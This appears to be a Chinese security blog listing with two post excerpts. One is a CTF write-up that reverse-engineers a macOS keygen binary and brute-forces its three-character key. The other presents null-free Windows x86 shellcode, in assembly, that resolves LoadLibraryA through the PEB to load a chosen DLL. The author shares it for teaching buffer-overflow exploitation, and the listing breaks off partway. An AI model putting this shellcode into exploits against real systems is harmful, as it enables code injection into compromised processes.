發表文章

目前顯示的是 2017的文章

[TDOHConf] Challenge #11: fuzz macOS 算號器

圖片
這一題好像沒人解出來, 想說大家快破台了這樣不行, 所以結算成績前一個小時臨時加了這一題。首先這個題目點進來看到是一張圖片連結,不過點開基本上是個損毀的圖片:

接著可以把這個圖片載下來,然後用 file 指令看看這是什麼鬼:

會發現其實是 mach-O 格式的 macOS 執行程式,接著你可以用反組譯器去看這隻執行程式,我這邊用的是 IDA Pro,不過如果你手上沒有 IDA Pro 其實拿免費版的 IDA 也可以看程式邏輯流程圖啦...XD

記憶體變數排列圖:


第一個流程圖部分你可以看到它用 scanf 把文字儲存在區域變數 ebp+0x20 處,接著取出第一個 char 值去做右移一次、左移一次去判斷是否等於自己當前值 - 1,其實這很明顯就是在判斷奇數啦XD(比方說 31:(31 /2) * 2 = 30 正好就會是 31-1,因為有 1 在除法乘法時候被捨去了)
第二個流程圖去比對 var_11 是否等於 var12+3,也就是第二個 char 的值必須為第一個值 +3。
第三個流程圖則是:var_10 必須為 var_11 + 0x0e,第三個 char 必須為第二個 + 0x0e(14)
第四個流程圖: var_f 則是判斷第四個 char 是否為 null(字串結尾)所以可以確定 input 必須為三個字的長度。
所以算號器算法都出來了,接著就是寫腳本去爆啦~ 寫個三層 for 迴圈,然後去暴力跑 ASCII 整張表可顯示字元部分,然後找出匹配上述三個規則的字串: 你會發現有很多符合規則的三個字元結果,這些結果都是剛剛那支算號器認證通過的字串XD 所以得一個個去帶,最後 flag 會是 TDOHCONF{ADR}
我知道還有另一組大家很感興趣的是在: 抱歉,這一組字串從頭到尾都沒被用到XD 純粹騙你用的(誰說擺了這個字串就一定要用呢?:P)

Windows x86 LoadLibraryA Shellcode(Null-Free)

圖片
murmur 因為部分課程緣故需要展示 Buffer Overflow 可以幹嘛,但是不想包太長的 Shellcode、單純 Demo 彈小算盤好像又太弱了XD。所以拿網路上別人寫好的 Shellcode 小改了一下,分享出來原始 Assembly Code 方便之後有需要的人可以做修改、開發自己的 Shellcode。

Cheat Engine AutoASM 腳本// windows x86 LoadLibraryA("xxx.dll") // author: aaaddress1@chroot.org alloc(script, 1024) script: xor edx,edx mov dl,30 mov edx,fs:[edx] mov edx,[edx+0C] mov edx,[edx+1C] mov eax,[edx+08] mov esi,[edx+20] mov edx,[edx] cmp byte ptr [esi+0C], 33 /* kernel'3'2.dll -> 0x33 */ db 75 f2 // jne -0x0d mov edi,eax //eax = handle of kernel32.dll add edi,DWORD PTR [eax+0x3c] mov edx,DWORD PTR [edi+0x78] add edx,eax mov edi,DWORD PTR [edx+0x20] add edi,eax xor ebp,ebp mov esi,DWORD PTR [edi+ebp*4] add esi,eax inc ebp //esi = API name cmp DWORD PTR [esi],0x64616f4c db 75 f2 cmp DWORD PTR [esi+0x8],0x41797261 db 75 e9 mov edi,DWORD PTR [edx+0x24] add edi,eax mov bp,WORD PTR [edi+ebp*2] //bp = index mov edi,DWORD PTR [edx+0x1c] add edi,eax…